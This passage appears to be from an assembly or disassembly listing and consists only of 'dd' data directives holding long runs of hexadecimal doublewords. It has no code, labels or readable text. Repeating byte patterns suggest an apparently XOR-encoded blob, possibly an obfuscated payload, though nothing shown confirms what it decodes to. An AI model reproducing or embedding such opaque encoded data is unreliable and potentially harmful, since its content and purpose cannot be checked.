0EC5546BBh, 0D3069013h dd 12DB978Eh, 871BEB3Ah, 0AB303D0Ah, 8AB13256h, 61D017E6h dd 5D2DAFE4h, 88ACA50h, 5B99AEFBh, 0AF66B659h, 0DC443256h dd 0A2585268h, 9DB13256h, 0EA0387E4h, 54A83C92h, 5BE5237h dd 0A55FB39Fh, 0CFE99259h, 5158EDDDh, 0A7B13256h, 54B284C7h dd 0A5073D33h, 75B7DB57h, 0C6BF3256h, 2C76681Eh, 2EB075A0h dd 57E8B759h, 0A84D3256h, 0DAE0528Fh, 0EAB132D1h, 73596856h dd 75B13256h, 0C4492FDBh, 0AEA3DA03h, 8F3B3256h, 8A602477h dd 0B983051Bh, 346C23A1h, 0F22E12F1h, 53D06B0Dh, 5DB1326Dh dd 15D75236h, 0D4BE9866h, 0ABB13256h, 2E063D37h, 0E63C3D37h dd 7AB13256h, 0BAB134DCh, 5D333D56h, 85B13256h, 57A0DB8Fh dd 6E0F3256h, 0E4C0CE1Ah, 0FDC5E4D2h, 0CA4B1549h, 0F9328BF4h dd 407BB236h, 0CEF253AEh, 520E5436h, 0CAD687DDh, 0FDB4C5D7h dd 61D0337Dh, 57B6EFD3h, 0A8393D50h, 0B4B13256h, 0AEB1325Bh dd 0C8515F7Ah, 0AA99BC11h, 29D68044h, 0A73CB914h, 15B71040h dd 0BAB4DB36h, 36093256h, 2E60F21Dh, 36D0B7B7h, 29BEEA6Dh dd 0D5B13231h, 0EABDB459h, 0FCBE3256h, 0BAB13250h, 5DB1BE59h dd 0BE583256h, 3CB13256h, 0EE38AC3Ah, 531666BDh, 8FF73C4Dh dd 4E7BCEF9h, 82363D8Fh, 3DB13256h, 0CF7FB9AAh, 57BDB359h dd 2CBE3256h, 0D5B13250h, 0EAB1BC59h, 0B3323256h, 0B2595252h dd 23B13256h, 0BD6133Dh, 77D989h, 42D0690Eh, 2A4ECCDCh dd 21918A36h, 4ED06EBDh, 0E4353D99h, 3DB13256h, 0AEB3B659h dd 36D13256h, 0ABB3BA59h, 1B3A3256h, 6BD75237h, 89486E91h dd 0F70CBB37h, 0B4B71040h, 0AEB13250h, 0D0D11C5Eh, 0EF580858h dd 3C4ECDA8h, 0EAB13246h, 40532007h, 0E3A864C6h, 465CEC75h dd 86BF5779h, 57B126BFh, 4BB7FA56h, 2E3F4AA8h, 79906D8Fh dd 0DB746264h, 0D86649DCh, 4E58532Fh, 45B13256h, 0D2627811h dd 0AAE86570h, 0EF88C887h, 5F3E5A5Dh, 9C723D3Bh, 0BAB13245h dd 6703BF2h, 8EF5767Eh, 91B81104h, 59607B7Bh, 0B5B5B11Ah dd 0EAB135BFh, 5D5D1956h, 3DC18AA9h, 5DB132BEh, 44306856h dd 519988DFh, 0ABB0BA59h, 3C443256h, 0EAB13250h, 0A9C07368h dd 3AFD06h, 5B99AECBh, 0AFB18BAFh, 31D13256h, 5712A2EFh dd 0D43F3D37h, 12B13256h dd 7258F265h, 4BB13256h, 0D0859F1Fh, 5427572h, 573F3D36h dd 2BB13256h, 5ED0E698h, 0C22DAFD4h, 0F44D5250h, 225F8E8Dh dd 0DF38536Bh, 0A899AEFBh, 57B13FBFh, 6ED7E856h, 0D1ADA532h dd 5B35B877h, 9CD03044h, 0BAB1325Bh, 0FB29530Dh, 0F57589A4h dd 0F280725Bh, 5349F1EFh, 0D4393D36h, 13B13256h, 5D18936h dd 53D10B24h, 5DB13245h, 0B119C870h, 6F502B18h, 0B35F3856h dd 8688176Dh, 616D867Bh, 9DD053ACh, 0BAB13256h, 195BB30Ch dd 47B71AEDh, 57B13247h, 0BBF2E221h, 6BD86653h, 0DE3FA9BEh dd 1035CC02h, 0BB393D63h, 0A8B13256h, 9DB8B790h, 58E73474h dd 0ABB12BDCh, 0A10A5256h, 3EDE1DCh, 75B1325Bh, 44BDEA79h dd 0B215165Ah, 0D731060Ch, 31D1532Fh, 1CBEF0DDh, 0ECD9538Eh dd 8A652D3Bh, 75A0BB59h, 0B6583256h, 5AB13256h, 0A5196407h dd 9DA995D0h, 0CA6C630Ah, 0F3F887A9h, 0FE583474h, 74B13256h dd 7E778CC9h, 0A3D03B52h, 0B44E8859h, 0A41E901Bh, 266A34D3h dd 0F0CC8CD3h, 0EAB6DB50h, 39F13256h, 0C3F602BFh, 5DBBDB30h dd 4DD23256h, 0E462CA61h, 0EE3C8A6h, 59BEE2A9h, 0EAB13257h dd 74303DA3h, 4FB13256h, 3DE1CB04h, 0A1F6E4D6h, 57B131D1h dd 5C3A5456h, 55B15A37h, 6BD13256h, 0C3770DB7h, 53D0CE41h dd 5DB13244h, 435F6B8Ch, 6F064EBDh, 0D009E250h, 401BDE7Bh dd 0EADBDD3Bh, 73393D36h, 0B5B13256h, 5DB132D7h, 1C4E5356h dd 5199ABC2h, 0ABA8B559h, 0C1583256h, 1B13256h, 27F7C7E0h dd 0BA9D2F4Fh, 3B2CAAA8h, 53C80E90h, 37359BB5h, 0B1538EECh dd 0D53E3D31h, 8BB13256h, 7858E2A9h, 0AEB13256h, 267BD36Dh dd 0D5BC9E41h, 49FF3836h, 0ABA1DB0Eh, 5BC3256h, 214A226Fh dd 5A64AFD7h, 0B8F64169h, 3DEB61F9h, 0AEB2B759h, 0E8BE3256h dd 51063D88h, 55B15A37h, 0E4583256h, 65B13256h, 2730F9ADh dd 2E8E1D83h, 0FD1E3011h, 56303D9Dh, 57B13256h, 5CBE323Ch dd 0EAB13257h, 0E803CDAAh, 42B71ACAh, 5258E2A9h, 9BB13256h dd 9B5C3B3Eh, 6CD0A2E0h, 2FF2C0C8h, 13D015F5h, 75B7DB95h dd 0A8C3256h, 980C302Bh, 0BF3F3D03h, 37B13256h, 0ABB13BBEh dd 21C22C56h, 0CDC12A3Bh, 14EF5F73h, 0AA58DEDDh, 0D7B13256h dd 8A45AEF0h, 0E05306DAh, 6DD07318h, 0B5932E63h, 0EAB1DAAFh dd 0F4EB3256h, 920C0CBCh, 55373D50h, 0CEB13256h, 57B1BC59h dd 53D03256h, 3CB947DDh, 0EAB1325Bh, 0D7CD3A79h, 6B88F19Eh dd 0CA54C94h, 0A180DAB3h, 5C583256h, 90B13256h, 9A386ADDh dd 96447661h, 9CE4254Fh, 0BAB1325Ch, 0EB5A1D97h, 0B7E374A3h dd 0C54E1E4Bh, 0AD99A865h, 0D5A4BB59h, 0FA583256h, 4CB13256h dd 9F9509BFh, 0E72B075Ah, 0E3C3130Ah, 0ADF6ADCh, 0CDEE6336h dd 29D0FCDDh, 0E5BD476Dh, 8A4E9AD3h, 0BAB7DBA9h, 6F0C3256h dd 0AE8460BCh, 57BFFCBEh, 0ABBEDB56h, 0FC5D3256h, 959B8578h dd 44B4B52Bh, 4630FAA6h, 0DDBE5302h, 0AEB13253h, 0AF48B936h dd 20BEFB37h, 0D5B1325Dh, 0EAB134BFh, 0C88E956h, 53DE4786h dd 5DB13258h, 4C259D1Bh, 0A19CC701h, 4BD0A1C8h, 0DD73CAD5h dd 0E53A3D56h, 9CB13256h, 0BAB1325Ch, 53C6289Fh, 67FF7DFCh dd 0AFE4D5DBh, 28BEDEDDh, 0D5B13247h, 0EAB9DB36h, 34C63256h dd 7A8A673Eh, 3CD1A537h, 5275B137h, 5C5864AAh, 54B13256h dd 2153F990h, 0AC99AF84h, 15E60D39h, 0BAB0BF59h, 52483256h dd 0AEB137D0h, 82FF8C56h, 0F8D02A51h, 0D5A5B959h, 3D13256h dd 75B13251h, 0C7F54D2Dh, 52394C98h, 0AEB132D2h, 57595356h dd 0F1B13256h, 6B22D8D7h, 0E558347Eh, 58B13256h, 84A94973h dd 0A8D7F86Ch, 0BAFFD220h, 58D1B6F7h, 0ABB130DFh, 5E3A8256h dd 9F3A538Eh, 75B7DB5Eh, 66BF3256h, 0A18315B1h, 0A1A14FDDh dd 57B133D2h, 42E6C756h, 0D5B13253h, 0E233DAE9h, 23D164AFh dd 0E5698559h, 5DB13EBFh, 0B7D62756h, 0C001A50Eh, 1462968Eh dd 51BE5393h, 0EAB13242h, 75BCDB36h, 87433256h, 0D4EE2F5h dd 782187FEh, 36C551BEh, 0ABB044BEh, 33A5256h, 2ABA53AEh dd 74B6B659h, 314D3256h, 0D2BE52AEh, 0AEB13253h, 615AB330h dd 0A559648Ah, 8BB13256h, 0DA57E303h, 47C785CCh, 621D4643h dd 3CEA6CF5h, 0AF363D03h, 0ABB13256h, 3182A0A9h, 50BE347Eh dd 0EAB1324Ah, 75A0DB36h, 45A53256h, 0B78ABA2h, 9F984B06h dd 0BB86D5FAh, 0CD39DBC2h, 0B42D99EFh, 0EF586FAFh, 34B13256h dd 0CF8A7A65h, 52BD476Dh, 0AEB1AED2h, 57BFDB56h, 0C81A3256h dd 0ECE6345Fh, 4FA838EBh, 0ECF02487h, 43AFB930h, 0AD56B2AEh dd 0AEA0DA36h, 6B113256h, 0F79C99E5h, 32E71454h, 38FD21E7h dd 9CD38133h, 0BAB1325Eh, 0F3C46BA5h, 92303AECh, 493B5309h dd 0ABBFB459h, 20D13256h, 0EAB134BFh, 839EE456h, 0DB4F823Eh dd 0B441D1D6h, 0AEB13244h, 88E3B66Bh, 737F1D28h, 0C7C9C0B3h dd 90D1B995h, 0CB59A225h, 53B13273h, 5DB13247h, 0CE7F55F2h dd 0F2568831h, 40332F09h, 1838A42Dh, 1405DB96h, 89D1CDA9h dd 0A579B307h, 3EFE296h, 52CCBB37h, 57B137BFh, 0B4241E56h dd 6B5932C3h, 8A4ECDA3h, 75B1B759h, 3AE63256h, 3CEABF82h dd 0A0323D0Dh, 0BEB13256h, 0ABB1325Fh, 6754AAE0h, 6FE08686h dd 2B4D6D9Ah, 46F4B9AEh, 5DB13DBFh, 0CCCC6256h, 0AFC13181h dd 244C1FA4h, 65D674A6h, 0E673CA9Fh, 0FED75256h, 3DBE60A5h dd 5DB13256h, 0FB48530Dh, 0AE5DB9AFh, 5749F6D5h, 0C5373D01h dd 3B13256h, 75B1325Dh, 0DE6357DDh, 4C1C26BCh, 0F8E953CDh dd 57B134BFh, 0C1F6F956h, 84D82B10h, 0EAB0B259h, 26483256h dd 0BABFDB36h, 0CF603256h, 0DC8C8907h, 53432BA7h, 660F4679h dd 2DF4F537h, 0EAB13256h, 75A1B959h, 0B5D13256h, 5B58F9E1h dd 8AB13256h, 579B91Dh, 6C49530Dh, 0FD2ADFD4h, 0EAB13350h dd 3AC756h, 0B058525Eh, 62B13256h, 0E717C3BFh, 28E7392h dd 510E3DEEh, 0CB3A5437h, 0EAB139BFh, 0FAD20356h, 113601D0h dd 0EA8768B7h, 0AEB121BFh, 0C1360A56h, 6016CD6Bh, 0F5933FABh dd 0E5C987D6h, 383B8242h, 232588DDh, 0D6D1347Eh, 0AA393DA8h dd 31B13256h, 0CA9086E8h, 3CB96DDDh, 0EAB13244h, 914D83D0h dd 8ECC6808h, 434DF18Bh, 8DFCE71Dh, 8CBA3CE4h, 0ABEFB659h dd 0EE443256h, 0AF343D88h, 9CB13256h, 0BAB13259h, 2D08A90h dd 7EDA8DAFh, 6D7FD381h, 201A572Ch, 0DF583E0Bh, 31B13256h dd 0E7CE6B1Bh, 52EBA49h, 51EEBB67h, 0BB383DAFh, 0BEB13256h dd 0ABB13246h, 297DC11Eh, 0BF4CD1A7h, 6FC5A9A8h, 0E6E6A1E2h dd 3DA5F5D5h, 51063D01h, 0D6585308h, 574ECDA9h, 2DAFB930h dd 0E559C9D6h, 75B504D2h, 0BAA3DB56h, 45313256h, 53199A1Bh dd 667EA7CAh, 0DD0F7D4Ch, 174DD50Dh, 0E558C9D6h, 75B524D2h dd 0F70F5256h, 0A193C3FAh, 454AB237h, 53B4B659h, 22BE3256h dd 0D5B13246h, 0EAB139BFh, 0A86C256h, 0E8313576h, 88C97995h dd 0A153C9D6h, 57B2F0D2h, 0ABBEDB56h, 11B33256h, 8C951456h dd 9B2624A9h, 0C7EEF775h, 0BE4AB2F1h, 0ADC9B659h, 58583256h dd 0FB13256h, 0B1BD8CF3h, 1A0BF4EAh, 158FAC8Dh, 3BD797A1h dd 525255ADh, 0AEB2B4D2h, 8C085256h, 1CFA00A0h, 32315323h dd 6BD7CAA6h, 7A313DADh, 0BAB2A0D2h, 0E2D75256h, 793A2C5Ch dd 0A752B237h, 0DB4AB2AEh, 0D6CCB659h, 8C443256h, 7A582CDDh dd 0CAB13256h, 5C4DCEBFh, 0D67A36C8h, 0B2D3B903h, 4831F762h dd 0C03C3DAEh, 3B13256h dd 75B13246h, 52248599h, 7DF6C36Eh, 7D6A6129h, 2443DC52h dd 0A409C9D6h, 0D5B0D0D2h, 0FB373D56h, 9CB13256h, 0BAB1325Ah dd 41CD90FEh, 0B6D66CEDh, 736317DCh, 0A4B40CD6h, 0D5B0F0D2h dd 6BD75256h, 9CEC2586h, 0BAB1325Bh, 1EE4D2D5h, 55A3B291h dd 7EBD4B1Bh, 95315358h, 75353D7Bh, 13B13257h, 7AD90CD6h dd 0BAB0A4D2h, 5DA0DB56h, 0BE703256h, 2318C1C5h, 9EAF6C16h dd 0EDEAC3B2h, 15BB92BCh, 5D2ADFD4h, 0D6055250h, 5DB13CBFh dd 4F846F56h, 75789FEAh, 61936D52h, 0B40210A8h, 16AFB930h dd 9C49D5D6h, 0BAB13247h, 2085EF81h, 78E60F28h, 0D19A9E63h dd 0D3311F91h, 0D5B4DB66h, 5B5A3256h, 137F6979h, 5230C9D7h dd 5C80B659h, 21BE3256h, 57B1325Ah, 16085436h, 0D53C3D6Ch dd 8BB13256h, 77393D36h, 0E9B13256h, 5DB7DA08h, 0DD6F3256h dd 7B478962h, 0ABB1B659h, 0B4E93256h, 0E5AFB930h, 75B13ADCh dd 3DBE5256h, 5DB13256h, 5E56B237h, 57B4DA36h, 53673256h dd 5E56003Eh, 0E5596C97h, 0A5B13256h, 2B18445Ah, 86CAEC9Fh dd 0E1792C6Dh, 94458AAh, 50305437h, 51BEF2D7h, 0EAB132E9h dd 75BADB36h, 1FC43256h, 6A525173h, 5E02E1AEh, 0C874B2ACh dd 0BF585237h, 35B13256h, 0B0174247h, 9F8878E3h, 0E47160C1h dd 2D2BF9C8h, 0FBBDBD9Fh, 0A00E3D36h, 0CA49B930h, 0D5B137BFh dd 0E73AFC56h, 0E74E86A6h, 0BC99A865h, 5DA5DB36h, 21173256h dd 0BC8218F5h, 3B341F9Ch, 609CA50h, 88D42925h, 48096939h dd 0DB9FB5EEh, 1838CB0Bh, 0AEBFDBAAh, 0E7663256h, 84E58101h dd 3A309F12h, 0A12BFEA7h, 74353D37h, 42B13256h, 5C4D4FD5h dd 0AC71B759h, 47583256h, 0BDB13256h, 9F9CB3ADh, 0A254DCD7h dd 0B6BECFFBh, 0DA6E0FE0h, 5DB123BFh, 0E347C856h, 5C79C810h dd 971AA630h, 76C96B3Ah, 61D0BDCBh, 57A5A7ECh, 0B5E1C750h dd 5DB133D0h, 2C3ACA56h, 5199A9BBh, 0ABB120BFh, 0B4FC4156h dd 324DD78Ch, 0A99B7005h, 8BA8CCB5h, 0B4D3AFEAh, 0AEB13259h dd 2EC8B262h, 0C8C858C6h, 7BC68881h, 0D303EBF2h, 0F9BE026Ah dd 0BAB1325Bh, 5D3C3D36h, 15B13256h, 31F567F7h, 0A4E9C737h dd 0D5B307D4h, 0FE58C756h, 62B13256h, 235C156h, 0E36F7069h dd 22A391A1h, 0DE3A581Ch, 2047F6FEh, 0F7BFCBECh, 0EAB9DB50h dd 14813256h, 0D2875731h, 0D4DABA6h, 0AEB135BFh, 0EDA51B56h dd 271698C0h, 0D5A8B759h, 0FE583256h, 6DB13256h, 2465A0C4h dd 4509E5B7h, 13C84E83h, 0CBADFD9Ch, 200983DCh, 0FD2ADFD4h dd 240B5250h, 14C64970h, 0B5810E6Fh, 5DB133D8h, 0A1E9C756h dd 57B08FD9h, 0A0595256h, 0AAB13256h, 846440CFh, 6B637595h dd 3CBED097h, 5DB13256h, 5D305409h, 0BED09621h, 0ABB13235h dd 0D5BDB559h, 50D13256h, 268F0C5Eh, 0D08E4CE8h, 18765309h dd 0AEB130AEh, 5F383D56h, 0A4B13256h, 0D5B130D9h, 0E5D05256h dd 75B13EDCh, 0BC333D56h, 52B13256h, 0AEB132D9h, 5794DB56h dd 6C443256h, 0D5B0CA13h, 3D13256h, 75B13247h, 8B2E0863h dd 82A1AF1Ch, 4C2EA7FAh, 0B954CE16h, 827C89D7h, 5ED012AFh dd 0C228A6ECh, 57373D50h, 0DAB13256h, 5DB13CBFh, 0DE959A56h dd 98D97985h, 5C6B991Ch, 3CB126C9h, 0EAB1325Eh, 5FC9E814h dd 69FA7EECh, 52AEB937h, 0AEB128D9h, 0D6D75256h, 425869BDh dd 0D5B13258h, 149F8C61h, 0DB0825E8h, 0E0DAABA0h, 56D0AEAEh dd 71353D8Dh, 58B13256h, 0ABB133D3h, 0B8ACE56h, 0EA36B759h dd 0FE443256h, 31D13E0Bh, 0A60E3D99h, 0B93F3D37h, 37B13256h dd 0ABB138BFh, 160C7A56h, 7C01024Ah, 0F476AD36h, 2A1C1889h dd 20325310h, 2ABE32AEh, 57B13269h, 0ABA5DB36h, 3053256h dd 61346472h, 9A89B4E4h, 6B5FC738h, 0FC4018FFh, 0A85831E9h dd 7CB13256h, 0B6399F83h, 88B253D3h, 0EAA0DBAEh, 3A243256h dd 900D1A55h, 0E25E5D20h, 0AB12D217h, 0DECB0553h, 0A5583609h dd 7BB13256h, 0FA8AB710h, 69DC821Bh, 830CFCECh, 4976B12Dh dd 0AEB0BD59h, 0BE443256h, 544ECD67h, 0D5A0DB36h, 71F73256h dd 21274E6Ah, 97149F36h, 1EBCB6B0h, 0CF305FA9h, 5E58F265h dd 0BFB13256h, 12A75DB1h, 5AE5D46Bh, 75B547BFh, 0BAB9DB56h dd 0C62A3256h, 30FFB865h, 0DCD7416Dh, 0ABBADB48h, 0E63B3256h dd 0DF7EEB9Dh, 20DE8E0Dh, 0C73ACBFEh, 5DA3DB5Ah, 9FD63256h dd 0E4A459F4h, 740D19C4h, 4A3A62EEh, 5D455F0Eh, 1465B836h dd 0B55AC9D6h, 5DB15DD2h, 4D31C756h, 0D8BE52A6h, 0ABB13240h dd 0D5B123BFh, 23DF8956h, 57D4E93Bh, 0C079719Eh, 0F8251A5Dh dd 0A958C978h, 7FB13256h, 6B90493h, 0DAD0A4EBh, 0EAB13CD1h dd 2DE25256h, 0BAB137BFh, 1F1EB956h, 2ED04038h, 0D3BE42ADh dd 0ABB1320Ch, 0D5B0B259h, 3443256h, 75B1335Fh, 0BAB121BFh dd 2DC01F56h, 9050D510h, 51E83097h, 845FD971h, 672F3568h dd 3583590h, 75B13250h, 54007A2Fh, 9A48C083h, 0AEB13311h dd 0DDD13256h, 5C0E3D99h, 2976B937h, 3B4F2D5h, 75B1325Eh dd 0E07BD46Dh, 0DF6E3497h, 0AEB2BBBFh, 90D7C756h, 0CBB93D51h dd 97998830h, 8B428559h, 0F5482CDCh, 0B5483DB5h, 5DB13ED8h dd 0A83C3D56h, 58B13256h, 0ABB132DFh, 557AB256h, 62D0CE36h dd 7E583309h, 4DB13256h, 0D357C55Dh, 0C41A080Fh, 10768654h dd 0ABB13254h, 0D5BBDB56h, 8CE43256h, 0C5C5EBD8h, 5790C3FCh dd 5DB138BFh, 7761DF56h, 0CED38580h, 209579E9h, 0D5A2DB91h dd 0A8643256h, 30ACFA5Ah, 0F2B75271h, 0B1CAFBE2h, 99ED020Eh dd 5171B19Dh, 0ABB126BFh, 0BBE1A756h, 5DC6BBC6h, 84221C9Bh dd 0DAFE6EFEh, 0BA13E7C8h, 0AC59DB4Bh, 4D13256h, 5135E5D7h dd 3CEE22BDh, 0EAB1325Ah, 0B663383Ah, 7E467B9Dh, 0D7659C31h dd 90305437h, 0D3BEA2C6h, 0ABB1320Ah, 0D5B123BFh, 0A760B856h dd 4351FCB1h, 4D46D6Bh, 0E8FBEB9Ah, 90317FECh, 2A343DC6h dd 0A4B13256h, 0D5B125DCh, 0EAA3DB56h, 0DC73256h, 3CFA4300h dd 66493B1h, 55D75A4Ah, 8036EDE7h, 54CFB330h, 51BEA2C6h dd 0EAB13242h, 753E3D36h, 4B13256h, 6A1B3B08h, 0AEF3DB37h dd 0AB443256h, 2CBEF5DDh, 0D5B13276h, 0FF0B5436h, 75A5DAB9h dd 20193256h, 5BC630E9h, 56B37473h, 0A397E2A2h, 8F3BF320h dd 0B4E8201Ch, 0EAB30BBFh, 75BFDB56h, 0E87F3256h, 0B5EBC907h dd 676E901h, 5EB05314h, 3777B0DBh, 0D058347Eh, 5FB13256h dd 0F246008Eh, 0BF595206h, 0A2B13256h, 0F4353796h, 0ECEE5AE2h dd 0A3870A80h, 0D43E3D37h, 12B13256h, 79393D00h, 0B5B13256h dd 5DB134D7h, 0AE393D56h, 37B13256h, 0ABB13ABEh, 0B5854856h dd 8EE9B21Bh, 2DEA65AEh, 0DB6F8D59h, 0C7E2A0A9h, 2BBE347Eh dd 57B13251h, 0ABB0B259h, 0DE483256h, 80353D96h, 8DB13256h dd 0BAB0B659h, 0D6483256h, 0B33C3D9Eh, 58B13256h, 0ABB125D9h dd 0D5A3DB56h, 11FC3256h, 86EA1000h, 85AF3AA7h, 0CFCD6A7Eh dd 0B9467038h, 0CB7780DBh, 0A658347Eh, 0BDB13256h, 145CE144h dd 9352B5h, 0C412B16Fh, 5DB149BFh, 20BE5256h, 57B13255h dd 0CB438559h, 8C1C8930h, 8BD06905h, 75B6B959h, 0DCD13256h dd 3CD1E8DDh, 24BE6437h, 57B1325Ah, 0AB353D36h, 0B3B13256h dd 8B226FEDh, 2044FCDDh, 0BAB13ABFh, 17C5F56h, 440D5AF4h dd 6423CD6Ah, 52B71ACCh, 1B9AC70Bh, 0EABDB159h, 72583256h dd 14B13256h, 1856280Fh, 7746016Fh, 86305436h, 0D60A6E54h dd 0B4F9EE35h, 0E5D16CAAh dd 520FC9E9h, 0DBA230C8h, 5C494FD5h, 0AEDDB759h, 31D13256h dd 0A487CDEFh, 20D0F9E9h, 8CD17BE6h, 0F139D5D7h, 10D0C7E6h dd 520954AFh, 0BF373DD3h, 0BEB13256h, 0ABB1325Ah, 5EE25D7Ch dd 0E21D7606h, 5FBA3EA5h, 3EBE9930h, 5DB1325Eh, 0AEB3BC59h dd 36D13256h, 0AAF78459h, 0D95899AAh, 52B13256h, 1C7136Eh dd 9B898A21h, 52C64620h, 0AEB133DCh, 3E58CA56h, 0A4B13256h dd 0D5B133D8h, 9732CE56h, 0F0BE30AEh, 0BAB13203h, 5DB0B059h dd 0C8483256h, 0BE7839EEh, 0ABB1325Fh, 0A8F616DBh, 755C28C9h dd 8C1A541Ch, 3EBE8A30h, 5DB137BFh, 16E11D56h, 5158E1ADh dd 0C5B13256h, 0E9AA8ED1h, 121A54AAh, 74F78459h, 534499A3h dd 5DB13242h, 0AEBABA59h, 0D7D13256h, 4A30FCB2h, 0D0FFA7A1h dd 1615C137h, 7858F5DDh, 75B13256h, 6922F18Ch, 0F7AD48CDh dd 11EBA31Eh, 2048B836h, 0B5EA53A5h, 1970B3AAh, 14BE0A52h dd 0BABADB0Fh, 0F3263256h, 0F56727D2h, 68871D1h, 0F5D052C6h dd 0DA586DAAh, 0B4B13256h, 0BA01CDA6h, 56232874h, 429D1077h dd 5678F2B4h, 57B9F0AAh, 0ABB138BFh, 7419CE56h, 0B7E6A806h dd 20842935h, 39BE5236h, 5DB13256h, 0CED009E1h, 99838930h dd 20D053AEh, 0D5BADBBAh, 893B3256h, 0DE84AD08h, 0ABD91FE9h dd 3BD1521Eh, 4E0EFAD7h, 36E5E5D6h, 0ABB132BEh, 3F306856h dd 0EC99FE63h, 75A1DBAAh, 94343256h, 0A3AA244Dh, 653F3A57h dd 1C08A8FCh, 2048BF18h, 0C4583A13h, 5CB13256h, 17D5F866h dd 7335502Eh, 0D0987F7Dh, 8D8BE11h, 0CE74B0DFh, 2DBE347Eh dd 0D5B1325Dh, 1A305436h, 0CED7DF85h, 4FD02608h, 0D6E65237h dd 743A6C9Ch, 0D4BEFB37h, 0ABB13257h, 0D5B5F0A3h, 0EAB0B759h dd 204D3256h, 0DCC48136h, 0B4D0F5DDh, 0AEB13246h, 1E8B358Ch dd 745FE9B6h, 0C7B1DECh, 0D331C6FEh, 1548DEDDh, 0D26C03EDh dd 747AB21Dh, 5675B137h, 57B0B159h, 0CB483256h, 5B095436h dd 0EA595353h, 2FB13256h, 766ED8D7h, 3DD1347Eh, 1A72B930h dd 270F53E2h, 0CA9BF047h, 51BE52AFh, 0EAB13255h, 0F470B930h dd 0E583CB8Eh, 18765369h, 0AEB132AEh, 1276CB56h, 0ABB132AAh dd 0D9353D56h, 0E5B13256h, 75B134DAh, 0BA3D3D56h, 6EB13256h dd 5E305296h, 3CE59C4Dh, 0ABB2B959h, 5ED73256h, 61D75391h dd 7F585248h, 65B13256h, 73E55CDh, 0F7CBB482h, 57B9DA98h dd 0FD593256h, 3D467F37h, 61D7A7DCh, 0B2D06990h, 922ADFD4h dd 5DB13350h, 0AEBADB56h, 978E3256h, 39015E13h, 6266046Ch dd 113054FBh, 0F0BEA2C6h, 0BAB13243h, 5DB122BFh, 0B69BD456h dd 8E5FFFA1h, 0FF8F1842h, 2BB8D95Eh, 24AB2B1h, 70A5B659h dd 32BE3256h, 5DB13245h, 0AEB6DB36h, 0E0C73256h, 83CB8D54h dd 0F148A1Bh, 0AAD00263h, 14D15236h, 53D0C2DDh, 5DB1325Ch dd 2BFC7DA9h, 90E38EA6h, 2BD0CCEFh, 51BEDBADh, 0EAB1368Ch dd 0F47FB236h, 31BE7237h, 5DB13257h, 454AB2AEh, 5375B659h dd 0A4D13256h, 0D5B13ED7h, 0EAB7DA56h, 0D8903256h, 8845B00Ah dd 59323D0Fh, 0C8B13256h, 36AAD1ECh, 0B4373D16h, 0B5B13256h dd 0EAB126BFh, 5BB3A656h, 0D07BA44Ch, 0DA5D8A5Dh, 7CC2EE0Ch dd 0F265FDA4h, 0D0F5438h, 3231539Fh, 62BE52A6h, 75B13256h dd 0BAB122BEh, 15EB6956h, 110BFD8Eh, 0DEB32334h, 52774A7h dd 856FB2C3h, 8C485308h, 0F5BEC9D7h, 0BEE1B659h, 0BD13256h dd 0AEB1BE59h, 37EB3256h, 0A1585336h, 21B13256h, 0AD696259h dd 0AA0EBF47h, 0B9D05313h, 7FB17BD4h, 0A5585250h, 21B13256h dd 0AACE6C15h, 0A91511E9h, 6EBE8468h, 75B13256h, 0BD17237h dd 5F393DBAh, 0FEB13256h, 0AC31530Eh, 47353DB4h, 0B5B13255h dd 6AD063E0h, 0F1BED1ADh, 0BAB13190h, 5DB135BFh, 737A7556h dd 96484B56h, 0ABB122BFh, 85AF2156h, 16D10F27h, 267BFBD3h dd 14134022h, 0A63054FFh, 2ABED131h, 57B131E5h, 4831C7A3h dd 0D5B4DBA6h, 0B5C13256h, 0F5C14FA8h, 3EBE42ADh, 5DB131F8h dd 0AEBFDBAAh, 647B3256h, 18E142DDh, 93532FA9h, 6A6B4897h dd 9CAFB930h, 0BAB1325Bh, 64AF087Ch, 0C8130830h, 6021CE0Bh dd 5352B2C9h, 6D4AB2AEh, 0EB2DB659h, 15D13256h, 0BAB126BEh dd 0A5D12B56h, 0CDD32314h, 315236A0h, 8BAB7AEAh, 4B4E2C1Eh dd 62BE6B6Ch, 75B13256h, 0B1595237h, 6B13256h, 19165F1h dd 0FE89C217h, 42E9EF05h, 0D5B13253h, 0A50AE9ADh, 0F5D0531Fh dd 3EBE3768h, 5DB13304h, 838FB2AEh, 56F9B659h, 424D3256h dd 0D5B1325Ch, 8B93A639h, 0A5F1D437h, 84311944h, 72353D3Eh dd 0CEB13257h, 57B4B359h, 73083256h, 3D9F5255h, 0EAB13242h dd 0F5C0568h, 3DDAE28h, 72A0EBB3h, 2919006Dh, 5C20C9D0h dd 0D06CC0D7h, 0B4EB0C51h, 154D72A3h, 5D2ADFD4h, 31D7CB50h dd 0A63A5248h, 9F2C8930h, 0AF56B237h, 12D76436h, 6DEFB396h dd 0CCD00AD7h, 8E305437h, 3EBEDAD7h, 5DB13284h, 0AEB6B759h dd 5D13256h, 613A5409h, 0CB3A5437h, 7957B336h, 9CE34E69h dd 0BAB13246h, 0D995DEB1h, 96FB98CDh, 1CEC1D75h, 0FE376BD4h dd 2556B237h, 113054A3h, 0F1BEF2D7h, 0BAB132C0h, 5DA8B459h dd 0BA583256h, 56B13256h, 63086B09h, 10917FD6h, 0B9278728h dd 86191CD6h, 0DA237BFAh, 5DB4B559h, 2ED13256h, 37D007BCh dd 87188C30h, 0A96C8C30h, 3486737h, 75B13244h, 0E78D3848h dd 8C6A8B5Ch, 0E2BF335Ah, 72881D29h, 394E1AD9h, 0D399A865h dd 65BE6FAFh, 75B13257h, 46F4BBA3h, 8B305436h, 14D75ABDh dd 36D05CA0h, 0A462B936h, 56D0F3E9h, 0E5B0CE2Bh, 75B73DD3h dd 0A9353D56h, 0B4B13256h, 0AEB13258h, 565C4E5h, 32878699h dd 0F3530F7Dh, 503A48E0h, 739326C3h, 0BAA2DB36h, 5D7E3256h dd 17E5A72Dh, 0AA99B8EBh, 59FC584Ah, 731D0846h, 333A5248h dd 75B134BEh, 3A6B4856h, 53C93F9h, 0C8D15337h, 633AD1D7h dd 0ABB13FBFh, 166BFD56h, 902A06C5h, 0E4F96B4Ah, 0EAD0740Ch dd 5DB0B359h, 25443256h, 7F2ADFD4h, 0AE343D50h, 0B5B13256h dd 8B446905h, 80810E6Fh, 33333D0Eh, 52B13253h, 0AEB13AD8h dd 55373D56h, 0CBB13256h, 2C0BB937h, 13B71058h, 120A5206h dd 0B5BC795Dh, 0D6D0ECE1h, 862ADFD4h, 0DEBE5250h, 0ABB13257h dd 0DD5853AEh, 67B13256h, 5312996Fh, 